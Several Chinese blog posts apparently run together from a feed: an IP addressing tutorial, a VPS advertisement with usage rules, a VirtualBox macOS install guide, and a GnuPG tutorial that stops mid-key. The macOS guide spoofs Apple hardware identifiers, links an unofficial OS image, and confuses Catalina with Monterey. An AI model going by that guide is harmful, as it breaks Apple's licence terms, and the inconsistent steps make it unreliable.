再将这个地址用十进制表示,则为 172.20.255.255。
广播地址可以分为本地广播和直接广播两种。
什么是 D、E 类地址?
D 类和 E 类地址是没有主机号的,不可用于主机 IP地址。D 类常被用于多播,E 类是预留的分类,暂时未使用。
多播地址用于什么?
多播用于将包发送给特定组内的所有主机。
还是举班级的栗子,老师说:“最后一排的同学,上来做这道数学题。”,老师指定的是最后一排的同学,也就是多播的含义了。
由于广播无法穿透路由,若想给其他网段发送同样的包,就可以使用可以穿透路由的多播。
多播使用的 D 类地址,其前四位是 1110 就表示是多播地址,而剩下的 28 位是多播的组编号。
从 224.0.0.0 ~ 239.255.255.255 都是多播的可用范围,其划分为以下三类:
IP地址 分类的优点
不管是路由器还是主机解析到一个 IP地址时候,我们判断其 IP地址的首位是否为 0,为 0 则为 A 类地址,那么就能很快的找出网络地址和主机地址。
其余分类判断方式参考如下图:
所以,这种分类地址的优点就是简单明了、选路(基于网络地址)简单。
IP地址 分类的缺点
同一网络下没有地址层次,比如一个公司里用了 B 类地址,但是可能需要根据生产环境、测试环境、开发环境来划分地址层次,而这种 IP地址 分类是没有地址层次划分的功能,所以这就缺少地址的灵活性。
A、B、C类有个尴尬处境,就是不能很好的与现实网络匹配。
C 类地址能包含的最大主机数量实在太少了,只有 254 个,估计一个网吧都不够用。
而 B 类地址能包含的最大主机数量又太多了,6 万多台机器放在一个网络下面,一般的企业基本达不到这个规模,闲着的地址就是浪费。
这两个缺点,都可以在 CIDR (无类别域间路由)解决。
正因为 IP地址 分类存在许多缺点,所以后面提出了无分类地址的方案,即 CIDR。
这种方式不再有分类地址的概念,32 比特的 IP地址被划分为两部分,前面是网络号,后面是主机号。
怎么划分网络号和主机号的呢?
表示形式 a.b.c.d/x,其中 /x 表示前 x 位属于网络号, x 的范围是 0 ~ 32,这就使得 IP地址更加具有灵活性。
比如 10.100.122.2/24,这种地址表示形式就是 CIDR,/24 表示前 24 位是网络号,剩余的 8 位是主机号。
还有另一种划分网络号与主机号形式,那就是子网掩码,掩码的意思就是掩盖掉主机号,剩余的就是网络号。
将子网掩码和 IP地址按位计算 AND,就可得到网络号。
为什么要分离网络号和主机号?
因为两台计算机要通讯,首先要判断是否处于同一个广播域内,即网络地址是否相同。如果网络地址相同,表明接受方在本网络上,那么可以把数据包直接发送到目标主机。
路由器寻址工作中,也就是通过这样的方式来找到对应的网络号的,进而把数据包转发给对应的网络内。
怎么进行子网划分?
在上面我们知道可以通过子网掩码划分出网络号和主机号,那实际上子网掩码还有一个作用,那就是划分子网。
子网划分实际上是将主机地址分为两个部分:子网网络地址和子网主机地址。形式如下:
C 类地址中前 24 位是网络号,最后 8 位是主机号,根据子网掩码可知从 8 位主机号中借用 2 位作为子网号。
由于子网网络地址被划分成 2 位,那么子网地址就有 4 个,分别是 00、01、10、11,具体划分如下图:
划分后的 4 个子网如下表格:
在 A、B、C 分类地址,实际上有分公有 IP地址和私有 IP地址。
平时我们办公室、家里、学校用的 IP地址,一般都是私有 IP地址。因为这些地址允许组织内部的 IT 人员自己管理、自己分配,而且可以重复。因此,你学校的某个私有 IP地址和我学校的可以是一样的。
就像每个小区都有自己的楼编号和门牌号,你小区家可以叫 1 栋 101 号,我小区家也可以叫 1 栋 101,没有任何问题。但一旦出了小区,就需要带上中山路 666 号(公网 IP地址),是国家统一分配的,不能两个小区都叫中山路 666。
所以,公有 IP地址是有个组织统一分配的,假设你要开一个博客网站,那么你就需要去申请购买一个公有 IP地址,这样全世界的人才能访问。并且公有 IP地址基本上要在整个互联网范围内保持唯一。
公有 IP地址由谁管理呢?
私有 IP地址通常是内部的 IT 人员管理,公有 IP地址是由 ICANN 组织管理,中文叫「互联网名称与数字地址分配机构」。
IANA 是 ICANN 的其中一个机构,它负责分配互联网 IP地址,是按洲的方式层层分配。
IP地址的网络地址这一部分用于进行路由控制。
路由控制表中记录着网络地址与下一步应该发送至路由器的地址。在主机和路由器上都会有各自的路由器控制表。
在发送 IP 包时,首先要确定 IP 包首部中的目标地址,再从路由控制表中找到与该地址具有相同网络地址的记录,根据该记录将 IP 包转发给相应的下一个路由器。如果路由控制表中存在多条相同网络地址的记录,就选择相同位数最多的网络地址,也就是最长匹配。
下面以下图的网络链路作为例子说明:
本机使用一个特殊的 IP 地址 127.0.0.1, 称为环回地址。与该地址具有相同意义的是一个叫做 localhost 的主机名。使用这个 IP 或主机名时,数据包不会流向网络。
每种数据链路的最大传输单元 (MTU) 都是不相同的,如 FDDI 数据链路 MTU 为4352、以太网的 MTU 是 1500 字节等。
每种数据链路的 MTU 之所以不同,是因为每个不同类型的数据链路的使用目的不同。使用目的不同,可承载的 MTU 也就不同。
其中,我们最常见数据链路是以太网,它的 MTU 是 1500 字节。
那么当 IP 数据包大小大于 MTU 时, IP 数据包就会被分片。
经过分片之后的 IP 数据包在被重组的时候,只能由目标主机进行,路由器是不会进行重组的。
假设发送方发送一个 4000 字节的大数据包,若要传输在以太网链路,则需要把数据包分片成 3 个小数据包进行传输,再交由接收方重组成大数据包。
在分片传输中,一旦某个分片丢失,则会造成整个 IP 数据报作废,所以 TCP 引入了最大分段大小( MSS) 也就是在 TCP 层进行分片不由 IP 层分片,所以对于 UDP 我们尽量不要发送一个大于 MTU 的数据报文。
最后再来谈谈IPv6.
IPv4 的地址是 32 位的,大约可以提供 42 亿个地址,但是早在 2011 年 IPv4 地址就已经被分配完了。
但是 IPv6 的地址是 128 位的,这可分配的地址数量是大的惊人,据说 IPv6 可以保证地球上的每粒沙子都能被分配到一个 IP 地址。
但 IPv6 除了有更多的地址之外,还有更好的安全性和扩展性,说简单点就是 IPv6 相比于 IPv4 能带来更好的网络体验。
但是因为 IPv4 和 IPv6 不能相互兼容,所以不但要我们电脑、手机之类的设备支持,还需要网络运营商对现有的设备进行升级,所以这可能是 IPv6 普及率比较慢的一个原因。
IPv6 不仅仅只是可分配的地址变多了,它还有非常多的亮点。
IPv4 地址长度共 32 位,是以每 8 位作为一组,并用点分十进制的表示方式。
IPv6 地址长度是 128 位,是以每 16 位作为一组,每组用冒号 「:」 隔开。
如果出现连续的 0 时还可以将这些 0 省略,并用两个冒号 「::」隔开。但是,一个 IP 地址中只允许出现一次两个连续的冒号。
IPv6 类似 IPv4,也是通过 IP 地址的前几位标识 IP 地址的种类。
IPv6 的地址主要有以下类型地址:
对于一对一通信的 IPv6 地址,主要划分了三类单播地址,每类地址的有效范围都不同。
“蓝易云”2020-2022年成都天上云网络科技有限公司旗下运营,是旗下的云计算服务品牌,专注为个人开发者用户、中小型企业用户、大型企业用户提供一站式核心网络云端部署服务,促使用户云端部署化简为零,轻松快速运用云计算。
云服务器、云虚拟主机、云数据库、云存储、域名、SSL证书、服务器租用托管等服务。
蓝易云创建于2020年,致力于个人及企业上云服务,在数据安全方面提供三层存储技术,保障数据安全及可用性;在网络连接方面使用BGP线路,解决了南北互联互通的问题。同时自身具有容灾性,保障线路安全稳定;在硬件配置方面,搭建纯SSD架构的高性能企业级云服务器,同时采用Intel Haswell CPU、高频DDR4内存、高速Sas3 SSD闪存作为底层硬件配置,分钟级响应速度;在售后保障方面,提供100倍故障相关赔偿方案,并且提供除传统域名业务PUSH转让以外的云服务器、云虚拟主机等服务也支持在线PUSH转让功能。
购买链接:https://tsyvps.com/cart?action=configureproduct&pid=37
香港云标准型和增强型都选择VPC网络的话,还可以组内网。
CPU
1核E5-2678 V3,经过特别优化,分数接近物理核心:
硬盘
SSD固态硬盘,4K读写2000+IOPS,读写速度和IO基本达标:
去程:
回程:
增强型网络得到进一步优化,相比标准型低10%左右延迟。
2. 网络抖动
网络带宽充足,抖动较小,基本不丢包:
移动走CMI->Telstra->HKBN
流媒体解锁Netflix,Disney+, Spotify, 等
禁止行为:
1.禁止放置木马、病毒、骇客、色情、诈骗、私服、外挂、博彩、赌博用品、仿品站、窃听类、弓弩枪支、仿牌网站、暴力威胁、骚扰内容、煽动仇恨/暴力、以及其他任何违反中国及当地国家法律的内容;
2.禁止使用V-P-N/SS或其他任何网络中转代理服务用于销售或者共享或搭建个人使用;
3.除非您已经获得作者或法律许可,否则您不能以其他任何管道复制受版权保护的音乐,软件,书籍,或其他;
4.禁止发送未经接收方许可的电子邮件(垃圾邮件);
5.禁止在非防御型机器上运行包括但不限于:容易受DDoS流量攻击的网站或程式;
6.禁止各种非正当的机器测试行为(包括但不限于:求攻击、求压力测试等);
7.禁止运行包括但不限于:挖流量矿、各类虚拟币、视频挂机、集羣计算、流量互刷等,对CPU、频宽、硬碟资源消耗极大的软件;
经核实确认,如果用户出现以上行为,我们将有权进行包括但不限于以下处理:要求删除、暂停服务、中止服务、提交给相关执法部门等。
资源使用公约:
1.不得长时间占用大量带宽,使用影响网络效能的软件(包括但不限于:PT下载、BT下载、迅雷、电驴、挖矿等)。
2.不得长时间占用大量磁片I/O,使用影响服务器稳定性的软件(包括但不限于:磁片DD测试、磁片扫描和杀毒软体等)。
3.不得长时间占用大量CPU,使用影响服务器效能的软件(包括但不限于:集群计算、比特币、挖矿等)。
4.非独立服务器的频宽为峰值频宽(非独享频宽),请不要长期占满,否则将被限速峰值频宽的30%-50%。
5.云产品谢绝长时间、大流量纯代理性质连接。(包括服务商节点、多人代理、反向代理)以及使用Windows系统访问海外网站等。
6.基于蓝易云服务运行和交易安全的需要,如您发生或可能发生破坏或试图破坏蓝易云或蓝易云关联公司公平交易环境或正常交易秩序的,或任何使用含有蓝易云或蓝易云关联公司名称、品牌且对他人有误导嫌疑或任何使用某种中英文(全称或简称)、数字、域名等意图表示或映射与蓝易云或其关联公司具有某种关联的,您将有可能被冻结账号。
]]>本篇文章是一篇详细完整的VirtualBox安装macOS Monterey教程,如果你有测试或是学习的需求,但是没有足够的财力可以负担一台苹果电脑,通过虚拟机也是一个不错的选择!
如果在阅读文章的过程中有任何问题,欢迎随时在底下留言,或者联系博主,让我开始介绍今天的主角吧!
在正式开始今天的教程之前,有几件事情是必须先准备好的,建议完整遵守并做到本章节,确保后续教程顺利。
本篇文章会以Intel CPU 的Windows 11 的电脑来示范教程,如果你是使用Windows 10 也可以,但是因为macOS 所需执行的资源较大,所以建议至少有以下的系统规格:
点击这里下载扩展包
打开下载的扩展包并进行安装
最后,你应该会看到类似于下面的屏幕截图的内容。
点击下面的链接来下载:
https://drive.gd1214b.icu/onedrive/系统镜像/macOS_Catalina_10.15.5_19F101.iso
首先关闭VirtualBox,然后按win
+R
键,打开“运行窗口”,输入“cmd”并回车,打开命令提示符窗口:
依次输入以下代码并回车:(把VM Name 换成你自己的虚拟机的名字)
cd "C:\Program Files\Oracle\VirtualBox\"
VBoxManage.exe modifyvm "VM Name" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac19,1"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Mac-AA95B1DDAB278B95"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "VM Name" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1
如果是使用AMD CPU 的电脑,请多加入下面这一行:
VBoxManage modifyvm "VM Name" --cpu-profile "Intel Core i7-6700K"
(可选)调整虚拟机分辨率(把 HxV 换成你要调整的分辨率,比如 1920x1080):
VBoxManage setextradata "VM Name" VBoxInternal2/EfiGraphicsResolution HxV
打开 VirtualBox 应用程序,然后单击开始按钮。屏幕上将出现带有一些白色文本的黑色屏幕。
等待几分钟,你应该会看到 macOS Catalina 语言窗口。选择你的语言,然后单击继续箭头。
现在,你将看到macOS 实用程序窗口。从列表中选择磁盘工具并单击继续。
选择你的主VHD 磁盘,然后单击擦除按钮。选择以下选项并再次单击擦除。
选择以下选项并再次单击擦除。
看到以下画面就代表已经成功,接下来退出工具回到上一个画面。
选择「安装macOS Monterey」选项,并点击右下角的「继续」按钮。
按一下「继续」按钮来设置安装的选项,如下图。
接下来请同意软件使用授权条款,如下图。
选择安装的目标硬盘,并点击继续
接下来就会正式开始安装,大约要30 分钟
一旦你通过了上一步。你将看到 macOS Catalina 欢迎窗口。选择以下选项。你可以稍后更改大部分设置,所以暂时不用担心。
选择现在不传输任何信息。
单击 稍后设置, 然后 单击不登录。单击跳过。你可以稍后添加你的 Apple ID。
点击同意条款和条件 , 然后点击继续。
填写 全名、帐户名、密码和提示,然后单击继续。
现在你已经使用 ISO 镜像在 VirtualBox 上成功安装了 macOS Catalina。
苹果官方是不允许在「非苹果」的硬件上安装macOS,本文章纯粹为学术研究与教学目的,请各位在学习完毕后自行把相关文件删除,且不要拿来做任何商用行为。
PGP(英语:Pretty Good Privacy,中文翻译“优良保密协议”)是一种加密程序,可为数据通信提供加密和身份验证。PGP 可用于对文本、电子邮件、文件、文件夹乃至整个磁盘分区进行签名、加密和解密,并提高电子邮件通信的安全性。
能用来加密和签名信息
随着互联网承载的信息甚至隐私内容逐渐增多,我们不免对信息的安全性感到担忧,尽管有SSL/TLS提供传输过程中的加密,但互联网内容提供商依旧可以看到用户所上传的文件、发送的文本,此时我们就需要找到一个简单、易用、且足够安全的加密方式,通常我在此时会推荐选择PGP。
记录片《第四公民》中 Edward Snowden 就是使用 PGP 与女记者 Laura Poitras 之间收发邮件的,以下来自电影截图:
验证Git Commiter身份
Github判定提交者只是依靠Git 客户端设置的user.name 和 user.email 来判定身份,而不会去验证真实性,也就是说你可以在你的仓库提交记录中伪造任何人的提交记录。
能用来放在博客简介里作为身份的象征, 并增加联系你的安全方式
用来代替SSH
拥有了自己的pgp key之后,就可以用 gpg-agent 来代替 OpenSSH Agent来进行 SSH操作了。不过替换了之后并不会增加SSH的安全性。还可以更方便地使用Yubikey(一种硬件加密智能卡)来SSH。
传统的加密手段往往是使用同一个密码进行加密和解密。例如你加密时用的密码是“abc”, 则解密时也要使用“abc”才行。这样就存在一个问题,你不能够把一段加密信息发送给你的朋友。试想,如果采用这种加密方式把信息发送给你的朋友时,你的朋友必须要知道你的密码才能把你的信息解密出来。但你如何保证你的朋友是绝对可靠的呢?也就是说,如果你的朋友把你的密码告诉了别人,你的密码就不再安全了。
非对称加密采用的是另一种思想。它会给你产生两个密钥,一个称为“公钥”,另一个称为“私钥”。公钥是可以公开的,你可以把它告诉别人;私钥你一定要保管好不让其他任何人知道。当某人得到你的公钥后,他就可以给你发送加密信息了。具体来说,他把他要发给你的信息用你的公钥加密后发给你,加密的信息只能用你的私钥去解密。这样,因为世界上除了你以外没有别人知道你的私钥,所以即使别人看到发送给你的加密信息他也无法解密,甚至连发送者本人也不行,因为他不知道你的私钥。简单说来,就是用公钥去加密,用对应的私钥去解密;想给谁发送加密信息,首先要得到他的公钥;并且只有拥有私钥的人才能解密信息。
PGP使用的是用数学手段保证安全的算法
以PGP最常用的RSA算法为例,对极大整数做因数分解的难度决定了 RSA 算法的可靠性。换言之,对一极大整数做因数分解越困难,RSA 算法越可靠。假如有人找到一种快速因数分解的算法的话,那么用 RSA 加密的信息的可靠性就会极度下降。但找到这样的算法的可能性是非常小的。今天只有较短的 RSA 密钥才可能被强力方式破解。到2022年为止,世界上还没有任何可靠的攻击RSA算法的方式。只要其密钥的长度足够长,用RSA加密的信息实际上是不能被破解的。
建议你先参照后面教程,在随便一台机器上练习。 等熟练操作之后,再阅读 安全使用 生成你真正主要使用的PGP密钥对 。
本节以Windows端的 GPG4win 软件为例,其他平台请看后面的 PGP完全入门教程
安装过程无脑点下一步即可,这里不再详细说明。
生成密钥
点击 “OK”,退回到上一页,然后再点击“新建”生成密钥。
这里会让你设置一个用于加密私钥的密码(请确保此密码不同于任何你在在线服务使用的密码,且无被社工攻破风险)
若成功生成,会有如下的提示
退回证书列表后应该类似下图所示
本段会分别介绍 纯文本、文件和邮件 的加解密方法。
一般建议勾选 “签名” 和 “为我加密” ,如果需要为别人加密的话需要导入对方的公钥。
导入公钥的方式为:
左上角 “文件” - “导入” ,导入后使用第一个生成的名为“ROOT”的密钥对进行信任。
然后会显示加密后的密文,发送给别人时请全文复制
点击 “记事本”,将PGP加密的文本复制到记事本框内,点击 “解密/验证记事本内容”即可
参照上一部分步骤进行加密
以.pgp
为后缀名的文件就是加密后的文件。
加密后的文件你可以使用任何方式安全的发送给对方。
打开加密后的文件,会让你输入私钥密码
输入完之后会有如下提示:
点击 Save All
保存解密后的文件.
brew install gpg
🐧Linux:
各发行版一般都会默认安装GnuPG。
🪟Windows:
下载地址: https://www.gnupg.org/download/
🌐OpenBSD:
pkg_add gnupg
先打开终端, 以下操作需在终端中进行
# step 0
gpg --full-gen-key
# 这里不推荐使用的 `gpg --gen-key`
# step 1
gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(14) Existing key from card
Your selection?
# 默认就可以
# step 2
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072)
# 此处输入你希望的密钥长度, RSA的不应低于2048 bits,当然输入的数字越大越安全,相应的,加解密的速度也会更慢
# step 3
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) 2y
# 默认可以选0 ,即永不过期, 这里我选了2y, 因为到期之前随时可以更改你的过期时间,以确保你对此密钥仍拥有控制权
# step 4
Key expires at Wed 11 Jan 2023 05:50:53 PM CST
Is this correct? (y/N) y
#确定
# step 5
GnuPG needs to construct a user ID to identify your key.
Real name: linus # 这里名字可以是网名,可以是任意名字,如果你注重隐私就不要输入自己真名了
Email address: linus@outlook.com
Comment: # 备注可以留空
# 注意了: 这里的邮箱, 如果你不打算使用PGP为你的Git记录认证, 这里其实是可以随便输入的,不需要是你的邮箱, 甚至不需要是一个真实存在的邮箱,只要接受你信息的人知道就行。隐私泄漏问题很严重,你一旦设置了,并且发布到公钥服务器,就永远删不掉了 😅
# step 6
You selected this USER-ID:
"linus <linust@outlook.com>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
# 确认无误后输入 o
# step 7
┌──────────────────────────────────────────────────────┐
│ Please enter the passphrase to │
│ protect your new key │
│ │
│ Passphrase: ________________________________________ │
│ │
│ <OK> <Cancel> │
└──────────────────────────────────────────────────────┘
# 输入一个复杂的密码 并确认
# step 8
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
# 随机移动你的鼠标,越随机你的密钥越安全
# step 9 大功告成
gpg: key 99F583599B7E31F1 marked as ultimately trusted
gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/705358AB85366CAB05C0220F99F583599B7E31F1.rev'
public and secret key created and signed.
pub rsa3072 2021-01-11 [SC]
705358AB85366CAB05C0220F99F583599B7E31F1 # 你的 key id
uid linus <linus@outlook.com>
sub rsa3072 2021-01-11 [E] # 这个是自动生成的用于加密的子密钥,E代表Encrypt 加密
以下是常见缩写释义:
A => Authentication
C => Certify
E => Encrypt
S => Sign
? => Unknown capability
sec => Secret Key
ssb => Secret SuBkey
pub => Public Key
sub => Public Subkey
你日常使用应该使用子密钥,主密钥除了签发新的子密钥不要使用。
建议为不同环境,不同用途都单独生成子密钥,互不干扰。
# step 0
gpg --edit-key linus # 或者key id
# step 1 进入gpg交互界面
gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Secret key is available.
sec rsa3072/99F583599B7E31F1
created: 2021-01-11 expires: never usage: SC
trust: ultimate validity: ultimate
ssb rsa3072/6FE9C71CFED44076
created: 2021-01-11 expires: never usage: E
[ultimate] (1). linus <linus@outlook.com>C
# step 2
gpg> addkey
Please select what kind of key you want:
(3) DSA (sign only)
(4) RSA (sign only)
(5) Elgamal (encrypt only)
(6) RSA (encrypt only)
(14) Existing key from card
Your selection? 4
# 根据你的用途选择, 这里生成一个只用于签名的子密钥(sign only)
# 后面的选择和主密钥生成的大同小异,按提示操作即可
# 生成完毕后
sec rsa3072/99F583599B7E31F1
created: 2021-01-11 expires: never usage: SC
trust: ultimate validity: ultimate
ssb rsa3072/6FE9C71CFED44076
created: 2021-01-11 expires: never usage: E
ssb rsa3072/FDB960B857D397F6
created: 2021-01-11 expires: never usage: S
[ultimate] (1). linus <linus@outlook.com>
# last step
gpg> save # 记得save, 直接退出的话什么也没有
假如你忘了主密钥的密码,或者丢失了对主密钥的控制权(丢失,被夺取),如果没有撤销凭证的话, 除了一个个通知你的朋友们没有任何办法 证明你不再使用这个密钥,这简直是灾难。
# step 0
gpg --gen-revoke -ao revoke.pgp linus # uid 或者key id
# step 1
sec rsa3072/99F583599B7E31F1 2021-01-11 linus <linus@outlook.com>
Create a revocation certificate for this key? (y/N) y
Please select the reason for the revocation:
0 = No reason specified
1 = Key has been compromised
2 = Key is superseded
3 = Key is no longer used
Q = Cancel
(Probably you want to select 1 here) 3
# 按提示走完流程就可以
生成的revoke.pgp就是撤销凭证, 有了这个撤销凭证,你可以在没有密码的情况下使一个公钥失效,所以一定要妥善保存,而且最好比主密钥多一份。
gpg -ao public-key.txt --export linus # 导出公钥
# 注意这里最后 要带上“!”, 不然会导出全部子密钥, 感谢@Dallas Lu 指正
gpg -ao secret-key --export-secret-key 99F583599B7E31F1! # 导出主私钥,建议secret-key 替换为你的加密设备备份文件的路径,直接导入到设备中
gpg -ao sign-subkey --export-secret-subkeys FDB960B857D397F6! #导出有[S]标识、签名用子私钥
gpg -ao encrypt-subkey --export-secret-subkeys 6FE9C71CFED44076! #导出有[E]标识、加密用子私钥 ,这里的ID替换为你的子密钥ID
# 别忘了同时将你刚刚生成的撤销凭证也备份起来
备份完后,要将本机的密钥清除干净
gpg --delete-secret-keys linus # 删除私钥, UID 也可以替换成子密钥ID, 主密钥Key ID
gpg --delete-keys linus # 删除公钥
# 如果想全部删除推荐直接删文件夹,即删除 $HOME/.gnupg
由于gpg生成的私钥会在你的磁盘上使用明文储存,所以一个单独的 rm 或者右键删除 并不能彻底删除掉,可以使用 wipe 工具。如果你使用的是 SSD 且没有 启用全盘加密,是没法彻底删除的。
特别推荐使用 Tails 发行版来生成主要使用的密钥, 系统自带pgp和paper key 等工具, 可以确保全程断网操作, 同时此系统重启会擦除所有内容,还免去了擦除密钥的麻烦。
#从文件导入
gpg --import [密钥文件] # 刚刚备份的子密钥文件, 或者其他人的公钥
# 暂不推荐从公钥服务器导入,具体用法会在公钥服务器一章介绍
# 这里先推荐 练习导入自己的子密钥
# 输出
sec# rsa3072/0x99F583599B7E31F1 2021-01-11 [SC] # sec 后面带有 # 号说明主密钥未导入,是安全的
Key fingerprint = 7053 58AB 8536 6CAB 05C0 220F 99F5 8359 9B7E 31F1 #指纹信息
uid [unknown] linus <linus@outlook.com>
ssb # rsa3072/0x6FE9C71CFED44076 2021-01-11 [E] # 带有 # 号说明该子密钥已导入
这里只讲 如何签名和验证 他人文件, 为他人公钥签名和验证 放在公钥的发布和交换一章讲解。
# 第一种方式,生成二进制签名文件
gpg --sign input.txt # 当然也可以加上--output参数
# 第二种方式,生成ASCII格式签名
gpg --clearsign input.txt
# 第三种,签名和原文本分开(前两种的签名文件中包含了所有原文本,所以体积会比较大)
gpg --armor --detach-sign input.txt #不加armor生成会二进制
# 验证签名文件
gpg --verify demo.txt.asc demo.txt
# 加密:
# recipient指定接收者的公钥ID
gpg --recipient {keyid/uid} --output encrypt.txt --encrypt input.txt
# 也可以按喜好加上--armor选项等
# 我更喜欢用
gpg -se -o encrypt.txt -r {keyid/uid} input.txt
# s代表签名 e代表加密
# o是 将结果 输出到文件 encrypt.txt
# r后面跟 接收者的 uid或者 key id, 接收者的公钥必须已经导入过
# input.txt 是你要加密的文件
# 解密:
gpg --decrypt encrypt.txt --output decrypt.txt
# 也可以
gpg -d encrypt.txt # 输出到终端 直接查看
公钥的交换是所有非对称加密算法的脆弱点,所谓现代的使用方式,主要体现在密钥的交换和发布上面, 之后会单独来探讨。
阅读并理解本系列之前请不要发布你的公钥到公钥服务器。
由于PGP没有提供任何将吊销信息通知其他用户的方式,他不能保证没人会使用撤销了的已经变得不安全的密钥。
你丢失的私钥仍然可以被攻击者使用,并用来解密那些没有更新你的公钥的人发送的加密消息。 revoke 子密钥并更新公钥后,若有人用老的公钥加密信息,虽然你仍然可以解密,但是攻击者同样可以,这时候是极度不安全的。
例如:如果A的私人密钥被盗,她将发出一个密钥撤销证书(key revocation certificate),但是由于这个密钥的分发是非正式的且将费大量的时间和口舌,故不能保证密钥环中每一个有A公开密钥的用户都能收到。由于A必须用她的私人密钥签名撤消的证书,所以如果A同时丢失了私人密钥,她就不能撤销密钥。密钥的撤销问题被认为是整个系统最薄弱的环节。
所以在你将密钥撤销后,请将撤销后的公钥发布到你一贯公布公钥的地方, 并尽可能通知其他人。
gpg --import gpg-linus.asc # 在一台新的电脑上导入你的公钥
gpg: key 99F583599B7E31F1: "linus <linus@outlook.com>" not changed
gpg: Total number processed: 1
gpg: unchanged: 1
gpg --import revoke # 导入你备份的撤销凭证,直接会导致密钥不可用
gpg: key 99F583599B7E31F1: "linus <linus@outlook.com>" revocation certificate imported
gpg: Total number processed: 1
gpg: new key revocations: 1
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 1 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: depth: 1 valid: 1 signed: 0 trust: 1-, 0q, 0n, 0m, 0f, 0u
gpg: next trustdb check due at 2021-09-29
gpg -k # 查看已经撤销的密钥
pub rsa3072 2021-01-11 [SC] [revoked: 2021-01-11]
705358AB85366CAB05C0220F99F583599B7E31F1
uid [ revoked] linus <linus@outlook.com>
gpg --edit-key linus
gpg > list # 列出你所有的子密钥
gpg > key {n} # 选择你要销毁的子密钥的 序号
gpg > revkey
gpg > save # 退出前一定要save, 不然所有更改不会生效
为了安全性,建议在一台断网的Linux或者BSD系统上生成你的密钥对。
特别推荐使用 Tails发行版,系统自带gpg和paperkey 等工具, 可以确保全程断网操作, 同时此系统重启会擦除所有内容,还免去了擦除密钥的麻烦。 需要工具:
主密钥不建议导入智能卡设备,因为智能卡的使用场景是随身携带,随时取用,虽然智能卡中的密钥无法导出,但是随身携带增加了丢失的风险,主密钥一旦丢失,将会非常麻烦。
如果是土豪,当然导入智能卡中更好,因为智能卡中密钥无法导出,只不过这个智能卡不能再随身携带,而同样应该在一个安全的地方, 不到万不得已不再取用, 不过这样有些浪费,也是我不推荐的理由。
你可以将主密钥加密后上传到网盘或其他线上服务。
纸密钥是很经典的一种备份方式,就是将密钥写/打印在纸上,不过若你想将这一眼望不到头的私钥抄下来, 或者打印下来,将来需要恢复的时候再一个个输入进电脑,显然不现实。
Linux下有一个工具叫做paperkey, 可以用来删除私钥中冗余的公钥信息,极大减少私钥长度,然后可以将精简过的私钥(以base 16格式)打印出来,或者将原始格式转换成二维码打印出来。
注意:
密钥只是一段信息,理论上可以放在其他任何可以存储信息的介质中,例如光盘,隐写在图片中, 写入IC卡 , 纹身,, X光片 ,背下来 等等,尽情发挥你的想象力。
请在你信任的电脑上使用子密钥,主密钥不到万不得已不要拿出来用,如果你将子密钥放在智能卡中使用,可以忽略这部分。
子密钥可以放在移动存储设备上直接使用,而无需拷贝/导入到电脑使用, 使用方法:
gpg --homedir [你的存储设备的路径]
讨论公钥安全交换的中文文章比较少,而这一环是整个加密体系的重中之重。 大部分的PGP教程最后一步就是让小白用户将公钥上传,这是非常过时,且不负责任的,所以这里来详细介绍下PGP 公钥的发布与交换。
首先明确一点: 上传公钥到公钥服务器不是必要的,甚至是危险的。
如果你是新手,请不要发布你的公钥到公钥服务器。
通过前文,你已经熟悉了gpg的本地使用, 并且生成了自己的PGP 密钥对。
想象一下, 如果你生活在1980年代, 想和远方的朋友加密通信,需要先交换彼此的公钥,又没有一个统一的可信的认证机构,这时会有什么问题?
当面交换吗?当然是个办法,但是相信你不会想要将下列
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGGzBfgBDADCID2AxdFxesbiKwwvuuItzvvDz8KOj1K2k0xFEcF13sIw+/6J
6bBWNO0UZbQYI0kwUfqI13Ytn5jvSz4vryAssIQgyct9lSqlaMThg67Msbz07SeO
s2CKDxxT6XOUztcKw4Efg0EuFP3m66RP7dhJfa2SHOqABR+vwboXgjOdpM2ikfzf
KJstiNAKtG7d3cy72VwjBFxaZn1c41b6t5YVw1+gI1lpGMOsAWWXXIXW8HbdJnx/
1joGxNWA6TOcWDE0c6pfK38HcCY845fT4R4A4Aj1/O3cIrKqv/G2rFXIcRJMwZxW
uJNlC8MdRAi25XjOGS/VFKouOv4nqQoo/2WJqBJmvTz1tWA2dc2bE1910u7v+IVm
/q98hUzBibthUo+c9Yqns2hc23sX83R3VU514MJvq0v45Jd4yon3/fFBUPX9KoJt
sUTRkUGFA82JIiDAgxRakJ5g+6+BZ9r0zgSW7K9PlJiA5ZK2k4aUxuwZ4YDaxy4K
9wMTs6lcbLXg4jsAEQEAAbQVTU9YQSA8cHNpcnRAbW94YS5jb20+iQHUBBMBCAA+
FiEEa9YS1gMVTZjtjzsnZgIzRZz1mAIFAmGzBfgCGwMFCQPCMcgFCwkIBwIGFQoJ
CAsCBBYCAwECHgECF4AACgkQZgIzRZz1mAItZgwAqY6moCSf7rFiPLZE1OiaeuaO
